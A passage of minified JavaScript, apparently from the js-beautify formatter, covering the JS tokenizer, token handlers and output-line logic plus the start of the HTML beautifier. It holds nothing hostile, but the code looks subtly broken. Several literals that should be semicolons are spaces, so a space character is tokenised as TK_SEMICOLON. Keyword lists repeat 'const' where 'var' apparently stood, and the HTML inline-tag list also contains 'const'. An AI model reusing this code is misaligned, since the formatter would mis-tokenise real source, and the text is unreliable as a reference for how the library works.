"===f.last_text||"TK_START_BLOCK"===o?w():"TK_END_EXPR"===o||"TK_START_EXPR"===o||"TK_END_BLOCK"===o||"."===f.last_text?_(d.wanted_newline):"TK_RESERVED"===o&&"("===d.text||"TK_WORD"===o||"TK_OPERATOR"===o?"TK_RESERVED"===o&&("function"===f.last_word||"typeof"===f.last_word)||"*"===f.last_text&&"function"===s?g.space_after_anon_function&&(c.space_before_token=!0):"TK_RESERVED"!==o||!q(f.last_text,i.line_starters)&&"catch"!==f.last_text||g.space_before_conditional&&(c.space_before_token=!0):c.space_before_token=!0;"("===d.text&&"TK_RESERVED"===o&&"await"===f.last_word&&(c.space_before_token=!0);"("===d.text&&("TK_EQUALS"!==o&&"TK_OPERATOR"!==o||L()||_());T(e),A(),g.space_in_paren&&(c.space_before_token=!0);C()},TK_END_EXPR:function D(){for(;f.mode===Z.Statement;)R();f.multiline_frame&&_("]"===d.text&&k(f.mode)&&!g.keep_array_indentation);g.space_in_paren&&("TK_START_EXPR"!==o||g.space_in_empty_paren?c.space_before_token=!0:(c.trim(),c.space_before_token=!1));"]"===d.text&&g.keep_array_indentation?(A(),R()):(R(),A());c.remove_redundant_indentation(p),f.do_while&&p.mode===Z.Conditional&&(p.mode=Z.Expression,f.do_block=!1,f.do_while=!1)},TK_START_BLOCK:function N(){var e=O(1),t=O(2);t&&(":"===t.text&&q(e.type,["TK_STRING","TK_WORD","TK_RESERVED"])||q(e.text,["get","set"])&&q(t.type,["TK_WORD","TK_RESERVED"]))?q(s,["class","interface"])?T(Z.BlockStatement):T(Z.ObjectLiteral):T(Z.BlockStatement);var a=!e.comments_before.length&&"}"===e.text&&"function"===f.last_word&&"TK_END_EXPR"===o;"expand"===g.brace_style||"none"===g.brace_style&&d.wanted_newline?"TK_OPERATOR"!==o&&(a||"TK_EQUALS"===o||"TK_RESERVED"===o&&I(f.last_text)&&"else"!==f.last_text)?c.space_before_token=!0:w(!1,!0):"TK_OPERATOR"!==o&&"TK_START_EXPR"!==o?"TK_START_BLOCK"===o?w():c.space_before_token=!0:k(p.mode)&&","===f.last_text&&("}"===s?c.space_before_token=!0:w());A(),C()},TK_END_BLOCK:function P(){for(;f.mode===Z.Statement;)R();var e="TK_START_BLOCK"===o;"expand"===g.brace_style?e||w():e||(k(f.mode)&&g.keep_array_indentation?(g.keep_array_indentation=!1,w(),g.keep_array_indentation=!0):w());R(),A()},TK_WORD:F,TK_RESERVED:F,TK_SEMICOLON:function B(){x()&&(c.space_before_token=!1);for(;f.mode===Z.Statement&&!f.if_block&&!f.do_block;)R();A()},TK_STRING:function U(){x()?c.space_before_token=!0:"TK_RESERVED"===o||"TK_WORD"===o?c.space_before_token=!0:"TK_COMMA"===o||"TK_START_EXPR"===o||"TK_EQUALS"===o||"TK_OPERATOR"===o?L()||_():w();A()},TK_EQUALS:function H(){x();f.declaration_statement&&(f.declaration_assignment=!0);c.space_before_token=!0,A(),c.space_before_token=!0},TK_OPERATOR:function $(){x();if("TK_RESERVED"===o&&I(f.last_text))return c.space_before_token=!0,void A();if("*"===d.text&&"TK_DOT"===o)return void A();if(":"===d.text&&f.in_case)return f.case_body=!0,C(),A(),w(),void(f.in_case=!1);if("::"===d.text)return void A();"TK_OPERATOR"===o&&_();var e=!0,t=!0;q(d.text,["--","++","!","~"])||q(d.text,["-","+"])&&(q(o,["TK_START_BLOCK","TK_START_EXPR","TK_EQUALS","TK_OPERATOR"])||q(f.last_text,i.line_starters)||","===f.last_text)?(t=e=!1,!d.wanted_newline||"--"!==d.text&&"++"!==d.text||w(!1,!0)," "===f.last_text&&S(f.mode)&&(e=!0),"TK_RESERVED"===o?e=!0:"TK_END_EXPR"===o?e=!("]"===f.last_text&&("--"===d.text||"++"===d.text)):"TK_OPERATOR"===o&&(e=q(d.text,["--","-","++","+"])&&q(f.last_text,["--","-","++","+"]),q(d.text,["+","-"])&&q(f.last_text,["--","++"])&&(t=!0)),f.mode!==Z.BlockStatement&&f.mode!==Z.Statement||"{"!==f.last_text&&" "!==f.last_text||w()):":"===d.text?0===f.ternary_depth?e=!1:f.ternary_depth-=1:"?"===d.text?f.ternary_depth+=1:"*"===d.text&&"TK_RESERVED"===o&&"function"===f.last_text&&(t=e=!1);c.space_before_token=c.space_before_token||e,A(),c.space_before_token=t},TK_COMMA:function z(){if(f.declaration_statement)return S(f.parent.mode)&&(f.declaration_assignment=!1),A(),void(f.declaration_assignment?w(f.declaration_assignment=!1,!0):(c.space_before_token=!0,g.comma_first&&_()));A(),f.mode===Z.ObjectLiteral||f.mode===Z.Statement&&f.parent.mode===Z.ObjectLiteral?(f.mode===Z.Statement&&R(),w()):(c.space_before_token=!0,g.comma_first&&_())},TK_BLOCK_COMMENT:function K(){if(c.raw)return c.add_raw_token(d),void(d.directives&&"end"===d.directives.preserve&&(g.test_output_raw||(c.raw=!1)));if(d.directives)return w(!1,!0),A(),"start"===d.directives.preserve&&(c.raw=!0),void w(!1,!0);if(!j.newline.test(d.text)&&!d.wanted_newline)return c.space_before_token=!0,A(),void(c.space_before_token=!0);var e,t=function o(e){var t;e=e.replace(/\x0d/g,"");var a=[];t=e.indexOf("\n");for(;-1!==t;)a.push(e.substring(0,t)),e=e.substring(t+1),t=e.indexOf("\n");e.length&&a.push(e);return a}(d.text),a=!1,n=!1,r=d.whitespace_before,i=r.length;w(!1,!0),1<t.length&&(!function s(e,t){for(var a=0;a<e.length;a++){var n=X(e[a]);if(n.charAt(0)!==t)return!1}return!0}(t.slice(1),"*")?function l(e,t){for(var a,n=0,r=e.length;n<r;n++)if((a=e[n])&&0!==a.indexOf(t))return!1;return!0}(t.slice(1),r)&&(n=!0):a=!0);for(A(t[0]),e=1;e<t.length;e++)w(!1,!0),a?A(" ".concat(t[e].replace(/^\s+/g,""))):n&&t[e].length>i?A(t[e].substring(i)):c.add_token(t[e]);w(!1,!0)},TK_COMMENT:function W(){d.wanted_newline?w(!1,!0):c.trim(!0);c.space_before_token=!0,A(),w(!1,!0)},TK_DOT:function G(){x();"TK_RESERVED"===o&&I(f.last_text)?c.space_before_token=!0:_(")"===f.last_text&&g.break_chained_methods);A()},TK_UNKNOWN:function V(){A(),"\n"===d.text[d.text.length-1]&&w()},TK_EOF:function Y(){for(;f.mode===Z.Statement;)R()}},g={},(e=e||{}).braces_on_own_line!==undefined&&(g.brace_style=e.braces_on_own_line?"expand":"collapse"),g.brace_style=e.brace_style?e.brace_style:g.brace_style?g.brace_style:"collapse","expand-strict"===g.brace_style&&(g.brace_style="expand"),g.indent_size=e.indent_size?parseInt(e.indent_size,10):4,g.indent_char=e.indent_char?e.indent_char:" ",g.eol=e.eol?e.eol:"\n",g.preserve_newlines=e.preserve_newlines===undefined||e.preserve_newlines,g.break_chained_methods=e.break_chained_methods!==undefined&&e.break_chained_methods,g.max_preserve_newlines=e.max_preserve_newlines===undefined?0:parseInt(e.max_preserve_newlines,10),g.space_in_paren=e.space_in_paren!==undefined&&e.space_in_paren,g.space_in_empty_paren=e.space_in_empty_paren!==undefined&&e.space_in_empty_paren,g.jslint_happy=e.jslint_happy!==undefined&&e.jslint_happy,g.space_after_anon_function=e.space_after_anon_function!==undefined&&e.space_after_anon_function,g.keep_array_indentation=e.keep_array_indentation!==undefined&&e.keep_array_indentation,g.space_before_conditional=e.space_before_conditional===undefined||e.space_before_conditional,g.unescape_strings=e.unescape_strings!==undefined&&e.unescape_strings,g.wrap_line_length=e.wrap_line_length===undefined?0:parseInt(e.wrap_line_length,10),g.e4x=e.e4x!==undefined&&e.e4x,g.end_with_newline=e.end_with_newline!==undefined&&e.end_with_newline,g.comma_first=e.comma_first!==undefined&&e.comma_first,g.test_output_raw=e.test_output_raw!==undefined&&e.test_output_raw,g.jslint_happy&&(g.space_after_anon_function=!0),e.indent_with_tabs&&(g.indent_char="\t",g.indent_size=1),g.eol=g.eol.replace(/\\r/,"\r").replace(/\\n/,"\n"),l="";0<g.indent_size;)l+=g.indent_char,g.indent_size-=1;var b=0;if(n&&n.length){for(;" "===n.charAt(b)||"\t"===n.charAt(b);)m+=n.charAt(b),b+=1;n=n.substring(b)}function E(e){var t=e.newlines;if(g.keep_array_indentation&&k(f.mode))for(var a=0;a<t;a+=1)w(0<a);else if(g.max_preserve_newlines&&t>g.max_preserve_newlines&&(t=g.max_preserve_newlines),g.preserve_newlines&&1<e.newlines){w();for(var n=1;n<t;n+=1)w(!0)}u[(d=e).type]()}function _(e){if(e=e!==undefined&&e,!c.just_added_newline())if(g.preserve_newlines&&d.wanted_newline||e)w(!1,!0);else if(g.wrap_line_length){c.current_line.get_character_count()+d.text.length+(c.space_before_token?1:0)>=g.wrap_line_length&&w(!1,!0)}}function w(e,t){if(!t&&" "!==f.last_text&&","!==f.last_text&&"="!==f.last_text&&"TK_OPERATOR"!==o)for(;f.mode===Z.Statement&&!f.if_block&&!f.do_block;)R();c.add_new_line(e)&&(f.multiline_frame=!0)}function y(){c.just_added_newline()&&(g.keep_array_indentation&&k(f.mode)&&d.wanted_newline?(c.current_line.push(d.whitespace_before),c.space_before_token=!1):c.set_indent(f.indentation_level)&&(f.line_indent_level=f.indentation_level))}function A(e){c.raw?c.add_raw_token(d):(g.comma_first&&"TK_COMMA"===o&&c.just_added_newline()&&","===c.previous_line.last()&&(c.previous_line.pop(),y(),c.add_token(","),c.space_before_token=!0),e=e||d.text,y(),c.add_token(e))}function C(){f.indentation_level+=1}function T(e){p=f?(t.push(f),f):v(null,e),f=v(p,e)}function k(e){return e===Z.ArrayLiteral}function S(e){return q(e,[Z.Expression,Z.ForInitializer,Z.Conditional])}function R(){0<t.length&&(p=f,f=t.pop(),p.mode===Z.Statement&&c.remove_redundant_indentation(p))}function L(){return f.parent.mode===Z.ObjectLiteral&&f.mode===Z.Statement&&(":"===f.last_text&&0===f.ternary_depth||"TK_RESERVED"===o&&q(f.last_text,["get","set"]))}function x(){return!!("TK_RESERVED"===o&&q(f.last_text,["const","let","const"])&&"TK_WORD"===d.type||"TK_RESERVED"===o&&"do"===f.last_text||"TK_RESERVED"===o&&"return"===f.last_text&&!d.wanted_newline||"TK_RESERVED"===o&&"else"===f.last_text&&("TK_RESERVED"!==d.type||"if"!==d.text)||"TK_END_EXPR"===o&&(p.mode===Z.ForInitializer||p.mode===Z.Conditional)||"TK_WORD"===o&&f.mode===Z.BlockStatement&&!f.in_case&&"--"!==d.text&&"++"!==d.text&&"function"!==s&&"TK_WORD"!==d.type&&"TK_RESERVED"!==d.type||f.mode===Z.ObjectLiteral&&(":"===f.last_text&&0===f.ternary_depth||"TK_RESERVED"===o&&q(f.last_text,["get","set"])))&&(T(Z.Statement),C(),"TK_RESERVED"===o&&q(f.last_text,["const","let","const"])&&"TK_WORD"===d.type&&(f.declaration_statement=!0),L()||_("TK_RESERVED"===d.type&&q(d.text,["do","for","if","while"])),!0)}function I(e){return q(e,["case","return","do","if","throw","else"])}function O(e){var t=r+(e||0);return t<0||t>=h.length?null:h[t]}function F(){("TK_RESERVED"===d.type&&f.mode!==Z.ObjectLiteral&&q(d.text,["set","get"])&&(d.type="TK_WORD"),"TK_RESERVED"===d.type&&f.mode===Z.ObjectLiteral)&&(":"===O(1).text&&(d.type="TK_WORD"));if(x()||!d.wanted_newline||S(f.mode)||"TK_OPERATOR"===o&&"--"!==f.last_text&&"++"!==f.last_text||"TK_EQUALS"===o||!g.preserve_newlines&&"TK_RESERVED"===o&&q(f.last_text,["const","let","const","set","get"])||w(),f.do_block&&!f.do_while){if("TK_RESERVED"===d.type&&"while"===d.text)return c.space_before_token=!0,A(),c.space_before_token=!0,void(f.do_while=!0);w(),f.do_block=!1}if(f.if_block)if(f.else_block||"TK_RESERVED"!==d.type||"else"!==d.text){for(;f.mode===Z.Statement;)R();f.if_block=!1,f.else_block=!1}else f.else_block=!0;if("TK_RESERVED"===d.type&&("case"===d.text||"default"===d.text&&f.in_case_statement))return w(),(f.case_body||g.jslint_happy)&&(!function e(){0<f.indentation_level&&(!f.parent||f.indentation_level>f.parent.indentation_level)&&(f.indentation_level-=1)}(),f.case_body=!1),A(),f.in_case=!0,void(f.in_case_statement=!0);if("TK_RESERVED"===d.type&&"function"===d.text&&((q(f.last_text,["}"," "])||c.just_added_newline()&&!q(f.last_text,["[","{",":","=",","]))&&(c.just_added_blankline()||d.comments_before.length||(w(),w(!0))),"TK_RESERVED"===o||"TK_WORD"===o?"TK_RESERVED"===o&&q(f.last_text,["get","set","new","return","export","async"])?c.space_before_token=!0:"TK_RESERVED"===o&&"default"===f.last_text&&"export"===s?c.space_before_token=!0:w():"TK_OPERATOR"===o||"="===f.last_text?c.space_before_token=!0:(f.multiline_frame||!S(f.mode)&&!k(f.mode))&&w()),"TK_COMMA"!==o&&"TK_START_EXPR"!==o&&"TK_EQUALS"!==o&&"TK_OPERATOR"!==o||L()||_(),"TK_RESERVED"===d.type&&q(d.text,["function","get","set"]))return A(),void(f.last_word=d.text);(a="NONE","TK_END_BLOCK"===o?"TK_RESERVED"===d.type&&q(d.text,["else","catch","finally"])?"expand"===g.brace_style||"end-expand"===g.brace_style||"none"===g.brace_style&&d.wanted_newline?a="NEWLINE":(a="SPACE",c.space_before_token=!0):a="NEWLINE":"TK_SEMICOLON"===o&&f.mode===Z.BlockStatement?a="NEWLINE":"TK_SEMICOLON"===o&&S(f.mode)?a="SPACE":"TK_STRING"===o?a="NEWLINE":"TK_RESERVED"===o||"TK_WORD"===o||"*"===f.last_text&&"function"===s?a="SPACE":"TK_START_BLOCK"===o?a="NEWLINE":"TK_END_EXPR"===o&&(c.space_before_token=!0,a="NEWLINE"),"TK_RESERVED"===d.type&&q(d.text,i.line_starters)&&")"!==f.last_text&&(a="else"===f.last_text||"export"===f.last_text?"SPACE":"NEWLINE"),"TK_RESERVED"===d.type&&q(d.text,["else","catch","finally"]))?"TK_END_BLOCK"!==o||"expand"===g.brace_style||"end-expand"===g.brace_style||"none"===g.brace_style&&d.wanted_newline?w():(c.trim(!0),"}"!==c.current_line.last()&&w(),c.space_before_token=!0):"NEWLINE"===a?"TK_RESERVED"===o&&I(f.last_text)?c.space_before_token=!0:"TK_END_EXPR"!==o?"TK_START_EXPR"===o&&"TK_RESERVED"===d.type&&q(d.text,["const","let","const"])||":"===f.last_text||("TK_RESERVED"===d.type&&"if"===d.text&&"else"===f.last_text?c.space_before_token=!0:w()):"TK_RESERVED"===d.type&&q(d.text,i.line_starters)&&")"!==f.last_text&&w():f.multiline_frame&&k(f.mode)&&","===f.last_text&&"}"===s?w():"SPACE"===a&&(c.space_before_token=!0);A(),f.last_word=d.text,"TK_RESERVED"===d.type&&"do"===d.text&&(f.do_block=!0),"TK_RESERVED"===d.type&&"if"===d.text&&(f.if_block=!0)}o="TK_START_BLOCK",s="",(c=new Q(l,m)).raw=g.test_output_raw,t=[],T(Z.BlockStatement),this.beautify=function(){var e,t;for(i=new ee(n,g,l),h=i.tokenize(),r=0;e=O();){for(var a=0;a<e.comments_before.length;a++)E(e.comments_before[a]);E(e),s=f.last_text,o=e.type,f.last_text=e.text,r+=1}return t=c.get_code(),g.end_with_newline&&(t+="\n"),"\n"!=g.eol&&(t=t.replace(/[\n]/g,g.eol)),t}}function i(t){var a=0,n=-1,r=[],i=!0;this.set_indent=function(e){a=t.baseIndentLength+e*t.indent_length,n=e},this.get_character_count=function(){return a},this.is_empty=function(){return i},this.last=function(){return this._empty?null:r[r.length-1]},this.push=function(e){r.push(e),a+=e.length,i=!1},this.pop=function(){var e=null;return i||(e=r.pop(),a-=e.length,i=0===r.length),e},this.remove_indent=function(){0<n&&(n-=1,a-=t.indent_length)},this.trim=function(){for(;" "===this.last();)r.pop(),a-=1;i=0===r.length},this.toString=function(){var e="";return this._empty||(0<=n&&(e=t.indent_cache[n]),e+=r.join("")),e}}function Q(t,a){a=a||"",this.indent_cache=[a],this.baseIndentLength=a.length,this.indent_length=t.length,this.raw=!1;var n=[];this.baseIndentString=a,this.indent_string=t,this.previous_line=null,this.current_line=null,this.space_before_token=!1,this.add_outputline=function(){this.previous_line=this.current_line,this.current_line=new i(this),n.push(this.current_line)},this.add_outputline(),this.get_line_number=function(){return n.length},this.add_new_line=function(e){return(1!==this.get_line_number()||!this.just_added_newline())&&(!(!e&&this.just_added_newline())&&(this.raw||this.add_outputline(),!0))},this.get_code=function(){return n.join("\n").replace(/[\r\n\t ]+$/,"")},this.set_indent=function(e){if(1<n.length){for(;e>=this.indent_cache.length;)this.indent_cache.push(this.indent_cache[this.indent_cache.length-1]+this.indent_string);return this.current_line.set_indent(e),!0}return this.current_line.set_indent(0),!1},this.add_raw_token=function(e){for(var t=0;t<e.newlines;t++)this.add_outputline();this.current_line.push(e.whitespace_before),this.current_line.push(e.text),this.space_before_token=!1},this.add_token=function(e){this.add_space_before_token(),this.current_line.push(e)},this.add_space_before_token=function(){this.space_before_token&&!this.just_added_newline()&&this.current_line.push(" "),this.space_before_token=!1},this.remove_redundant_indentation=function(e){if(!e.multiline_frame&&e.mode!==Z.ForInitializer&&e.mode!==Z.Conditional)for(var t=e.start_line_index,a=n.length;t<a;)n[t].remove_indent(),t++},this.trim=function(e){for(e=e!==undefined&&e,this.current_line.trim(t,a);e&&1<n.length&&this.current_line.is_empty();)n.pop(),this.current_line=n[n.length-1],this.current_line.trim();this.previous_line=1<n.length?n[n.length-2]:null},this.just_added_newline=function(){return this.current_line.is_empty()},this.just_added_blankline=function(){return!!this.just_added_newline()&&(1===n.length||n[n.length-2].is_empty())}}var J=function J(e,t,a,n,r,i){this.type=e,this.text=t,this.comments_before=[],this.newlines=a||0,this.wanted_newline=0<a,this.whitespace_before=n||"",this.parent=null,this.directives=null};function ee(R,L,e){var x="\n\r\t ".split(""),I=/[0-9]/,O=/[01234567]/,F=/[0123456789abcdefABCDEF]/,M="+ - * / % & ++ -- = += -= *= /= %= == === != !== > < >= <= >> << >>> >>>= >>= <<= && &= | || ! ~ , : ? ^ ^= |= :: =>".split(" ");this.line_starters="continue,try,throw,return,const,let,const,if,switch,case,default,for,while,break,function,import,export".split(",");var D,N,P,B,U,H,$=this.line_starters.concat(["do","in","else","get","set","new","catch","finally","typeof","yield","async","await"]),z=/([\s\S]*?)((?:\*\/)|$)/g,K=/([^\n\r\u2028\u2029]*)/g,W=/\/\* beautify( \w+[:]\w+)+ \*\//g,G=/ (\w+)[:](\w+)/g,V=/([\s\S]*?)((?:\/\*\sbeautify\signore:end\s\*\/)|$)/g,Y=/((<\?php|<\?=)[\s\S]*?\?>)|(<%[\s\S]*?%>)/g;function o(){var e,t,a=[];if(D=0,N="",H<=U)return["","TK_EOF"];t=B.length?B[B.length-1]:new J("TK_START_BLOCK","{");var n=R.charAt(U);for(U+=1;q(n,x);){if(j.newline.test(n)?"\n"===n&&"\r"===R.charAt(U-2)||(D+=1,a=[]):a.push(n),H<=U)return["","TK_EOF"];n=R.charAt(U),U+=1}if(a.length&&(N=a.join("")),I.test(n)){var r=!0,i=!0,o=I;for("0"===n&&U<H&&/[Xxo]/.test(R.charAt(U))?(i=r=!1,n+=R.charAt(U),U+=1,o=/[o]/.test(R.charAt(U))?O:F):(n="",U-=1);U<H&&o.test(R.charAt(U));)n+=R.charAt(U),U+=1,r&&U<H&&"."===R.charAt(U)&&(n+=R.charAt(U),U+=1,r=!1),i&&U<H&&/[Ee]/.test(R.charAt(U))&&(n+=R.charAt(U),(U+=1)<H&&/[+-]/.test(R.charAt(U))&&(n+=R.charAt(U),U+=1),r=i=!1);return[n,"TK_WORD"]}if(j.isIdentifierStart(R.charCodeAt(U-1))){if(U<H)for(;j.isIdentifierChar(R.charCodeAt(U))&&(n+=R.charAt(U),(U+=1)!==H););return"TK_DOT"===t.type||"TK_RESERVED"===t.type&&q(t.text,["set","get"])||!q(n,$)?[n,"TK_WORD"]:"in"===n?[n,"TK_OPERATOR"]:[n,"TK_RESERVED"]}if("("===n||"["===n)return[n,"TK_START_EXPR"];if(")"===n||"]"===n)return[n,"TK_END_EXPR"];if("{"===n)return[n,"TK_START_BLOCK"];if("}"===n)return[n,"TK_END_BLOCK"];if(" "===n)return[n,"TK_SEMICOLON"];if("/"===n){var s="";if("*"===R.charAt(U)){U+=1,z.lastIndex=U;var l=z.exec(R);s="/*".concat(l[0]),U+=l[0].length;var c=function k(e){if(!e.match(W))return null;var t={};G.lastIndex=0;for(var a=G.exec(e);a;)t[a[1]]=a[2],a=G.exec(e);return t}(s);return c&&"start"===c.ignore&&(V.lastIndex=U,s+=(l=V.exec(R))[0],U+=l[0].length),[s=s.replace(j.lineBreak,"\n"),"TK_BLOCK_COMMENT",c]}if("/"===R.charAt(U)){U+=1,K.lastIndex=U;var d=K.exec(R);return s="//".concat(d[0]),U+=d[0].length,[s,"TK_COMMENT"]}}if("`"===n||"'"===n||'"'===n||("/"===n||L.e4x&&"<"===n&&R.slice(U-1).match(/^<([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])(\s+[-a-zA-Z:0-9_.]+\s*=\s*('[^']*'|"[^"]*"|{.*?}))*\s*(\/?)\s*>/))&&("TK_RESERVED"===t.type&&q(t.text,["return","case","throw","else","do","typeof","yield"])||"TK_END_EXPR"===t.type&&")"===t.text&&t.parent&&"TK_RESERVED"===t.parent.type&&q(t.parent.text,["if","while","for"])||q(t.type,["TK_COMMENT","TK_START_EXPR","TK_START_BLOCK","TK_END_BLOCK","TK_OPERATOR","TK_EQUALS","TK_EOF","TK_SEMICOLON","TK_COMMA"]))){var f=n,p=!1,u=!1;if(e=n,"/"===f)for(var g=!1;U<H&&(p||g||R.charAt(U)!==f)&&!j.newline.test(R.charAt(U));)e+=R.charAt(U),p?p=!1:(p="\\"===R.charAt(U),"["===R.charAt(U)?g=!0:"]"===R.charAt(U)&&(g=!1)),U+=1;else if(L.e4x&&"<"===f){var h=/<(\/?)([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])(\s+[-a-zA-Z:0-9_.]+\s*=\s*('[^']*'|"[^"]*"|{.*?}))*\s*(\/?)\s*>/g,m=R.slice(U-1),v=h.exec(m);if(v&&0===v.index){for(var b=v[2],E=0;v;){var _=!!v[1],w=v[2],y=!!v[v.length-1]||"![CDATA["===w.slice(0,8);if(w!==b||y||(_?--E:++E),E<=0)break;v=h.exec(m)}var A=v?v.index+v[0].length:m.length;return m=m.slice(0,A),U+=A-1,[m=m.replace(j.lineBreak,"\n"),"TK_STRING"]}}else for(;U<H&&(p||R.charAt(U)!==f&&("`"===f||!j.newline.test(R.charAt(U))));)(p||"`"===f)&&j.newline.test(R.charAt(U))?("\r"===R.charAt(U)&&"\n"===R.charAt(U+1)&&(U+=1),e+="\n"):e+=R.charAt(U),p=p?("x"!==R.charAt(U)&&"u"!==R.charAt(U)||(u=!0),!1):"\\"===R.charAt(U),U+=1;if(u&&L.unescape_strings&&(e=function S(e){var t,a=!1,n="",r=0,i="",o=0;for(;a||r<e.length;)if(t=e.charAt(r),r++,a){if(a=!1,"x"===t)i=e.substr(r,2),r+=2;else{if("u"!==t){n+="\\".concat(t);continue}i=e.substr(r,4),r+=4}if(!i.match(/^[0123456789abcdefABCDEF]+$/))return e;if(0<=(o=parseInt(i,16))&&o<32){n+="x"===t?"\\x".concat(i):"\\u".concat(i);continue}if(34===o||39===o||92===o)n+="\\".concat(String.fromCharCode(o));else{if("x"===t&&126<o&&o<=255)return e;n+=String.fromCharCode(o)}}else"\\"===t?a=!0:n+=t;return n}(e)),U<H&&R.charAt(U)===f&&(e+=f,U+=1,"/"===f))for(;U<H&&j.isIdentifierStart(R.charCodeAt(U));)e+=R.charAt(U),U+=1;return[e,"TK_STRING"]}if("#"===n){if(0===B.length&&"!"===R.charAt(U)){for(e=n;U<H&&"\n"!==n;)e+=n=R.charAt(U),U+=1;return["".concat(X(e),"\n"),"TK_UNKNOWN"]}var C="#";if(U<H&&I.test(R.charAt(U))){for(;C+=n=R.charAt(U),(U+=1)<H&&"#"!==n&&"="!==n;);return"#"===n||("["===R.charAt(U)&&"]"===R.charAt(U+1)?(C+="[]",U+=2):"{"===R.charAt(U)&&"}"===R.charAt(U+1)&&(C+="{}",U+=2)),[C,"TK_WORD"]}}if("<"===n&&("?"===R.charAt(U)||"%"===R.charAt(U))){Y.lastIndex=U-1;var T=Y.exec(R);if(T)return n=T[0],U+=n.length-1,[n=n.replace(j.lineBreak,"\n"),"TK_STRING"]}if("<"===n&&"\x3c!--"===R.substring(U-1,U+3)){for(U+=3,n="\x3c!--";!j.newline.test(R.charAt(U))&&U<H;)n+=R.charAt(U),U++;return P=!0,[n,"TK_COMMENT"]}if("-"===n&&P&&"--\x3e"===R.substring(U-1,U+2))return P=!1,U+=2,["--\x3e","TK_COMMENT"];if("."===n)return[n,"TK_DOT"];if(q(n,M)){for(;U<H&&q(n+R.charAt(U),M)&&(n+=R.charAt(U),!(H<=(U+=1))););return","===n?[n,"TK_COMMA"]:"="===n?[n,"TK_EQUALS"]:[n,"TK_OPERATOR"]}return[n,"TK_UNKNOWN"]}this.tokenize=function(){var e,t,a;H=R.length,U=0,P=!1,B=[];for(var n=null,r=[],i=[];!t||"TK_EOF"!==t.type;){for(a=o(),e=new J(a[1],a[0],D,N);"TK_COMMENT"===e.type||"TK_BLOCK_COMMENT"===e.type||"TK_UNKNOWN"===e.type;)"TK_BLOCK_COMMENT"===e.type&&(e.directives=a[2]),i.push(e),a=o(),e=new J(a[1],a[0],D,N);i.length&&(e.comments_before=i,i=[]),"TK_START_BLOCK"===e.type||"TK_START_EXPR"===e.type?(e.parent=t,r.push(n),n=e):("TK_END_BLOCK"===e.type||"TK_END_EXPR"===e.type)&&n&&("]"===e.text&&"["===n.text||")"===e.text&&"("===n.text||"}"===e.text&&"{"===n.text)&&(e.parent=n.parent,n=r.pop()),B.push(e),t=e}return B}}return{run:function I(e,t){function o(e){return e.replace(/\s+$/g,"")}var a,n,r,m,i,s,v,l,c,b,E,_,d,f;for((t=t||{}).wrap_line_length!==undefined&&0!==parseInt(t.wrap_line_length,10)||t.max_char===undefined||0===parseInt(t.max_char,10)||(t.wrap_line_length=t.max_char),n=t.indent_inner_html!==undefined&&t.indent_inner_html,r=t.indent_size===undefined?4:parseInt(t.indent_size,10),m=t.indent_char===undefined?" ":t.indent_char,s=t.brace_style===undefined?"collapse":t.brace_style,i=0===parseInt(t.wrap_line_length,10)?32786:parseInt(t.wrap_line_length||250,10),v=t.unformatted||["a","span","img","bdo","em","strong","dfn","code","samp","kbd","const","cite","abbr","acronym","q","sub","sup","tt","i","b","big","small","u","s","strike","font","ins","del","address","pre"],l=t.preserve_newlines===undefined||t.preserve_newlines,c=l?isNaN(parseInt(t.max_preserve_newlines,10))?32786:parseInt(t.max_preserve_newlines,10):0,b=t.indent_handlebars!==undefined&&t.indent_handlebars,E=t.wrap_attributes===undefined?"auto":t.wrap_attributes,_=t.wrap_attributes_indent_size===undefined?r:parseInt(t.wrap_attributes_indent_size,10)||r,d=t.end_with_newline!==undefined&&t.end_with_newline,f=Array.isArray(t.extra_liners)?t.extra_liners.concat():"string"==typeof t.extra_liners?t.extra_liners.split(","):"head,body,/html".split(","),t.indent_with_tabs&&(m="\t",r=1),(a=new function R(){return this.pos=0,this.token="",this.current_mode="CONTENT",this.tags={parent:"parent1",parentcount:1,parent1:""},this.tag_type="",this.token_text=this.last_token=this.last_text=this.token_type="",this.newlines=0,this.indent_content=n,this.Utils={whitespace:"\n\r\t ".split(""),single_token:"br,input,link,meta,source,!doctype,basefont,base,area,hr,wbr,param,img,isindex,embed".split(","),extra_liners:f,in_array:function(e,t){for(var a=0;a<t.length;a++)if(e===t[a])return!0;return!1}},this.is_whitespace=function(e){for(;0<e.length;e++)if(!this.Utils.in_array(e.charAt(0),this.Utils.whitespace))return!1;return!0},this.traverse_whitespace=function(){var e="";if(e=this.input.charAt(this.pos),this.Utils.in_array(e,this.Utils.whitespace)){for(this.newlines=0;this.Utils.in_array(e,this.Utils.whitespace);)l&&"\n"===e&&this.newlines<=c&&(this.newlines+=1),this.pos++,e=this.input.charAt(this.pos);return!0}return!1},this.space_or_wrap=function(e){this.line_char_count>=this.wrap_line_length?(this.print_newline(!1,e),this.print_indentation(e)):(this.line_char_count++,e.push(" "))},this.get_content=function(){for(var e="",t=[];"<"!=this.input.charAt(this.pos);){if(this.pos>=this.input.length)return t.length?t.join(""):["","TK_EOF"];if(this.traverse_whitespace())this.space_or_wrap(t);else{if(b){var a=this.input.substr(this.pos,3);if("{{#"===a||"{{/"===a)break;if("{{!"===a)return[this.get_tag(),"TK_TAG_HANDLEBARS_COMMENT"];if("{{"===this.input.substr(this.pos,2)&&"{{else}}"===this.get_tag(!0))break}e=this.input.charAt(this.pos),this.pos++,this.line_char_count++,t.push(e)}}return t.length?t.join(""):""},this.get_contents_to=function(e){if(this.pos===this.input.length)return["","TK_EOF"];var t="",a=new RegExp("</".concat(e,"\\s*>"),"igm");a.lastIndex=this.pos;var n=a.exec(this.input),r=n?n.index:this.input.length;return this.pos<r&&(t=this.input.substring(this.pos,r),this.pos=r),t},this.record_tag=function(e){this.tags["".concat(e,"count")]?this.tags["".concat(e,"count")]++:this.tags["".concat(e,"count")]=1,this.tags[e+this.tags["".concat(e,"count")]]=this.indent_level,this.tags[e+this.tags["".concat(e,"count")]+"parent"]=this.tags.parent,this.tags.parent=e+this.tags["".concat(e,"count")]},this.retrieve_tag=function(e){if(this.tags["".concat(e,"count")]){for(var t=this.tags.parent;t&&e+this.tags["".concat(e,"count")]!==t;)t=this.tags["".concat(t,"parent")];t&&(this.indent_level=this.tags[e+this.tags["".concat(e,"count")]],this.tags.parent=this.tags[t+"parent"]),delete this.tags[e+this.tags["".concat(e,"count")]+"parent"],delete 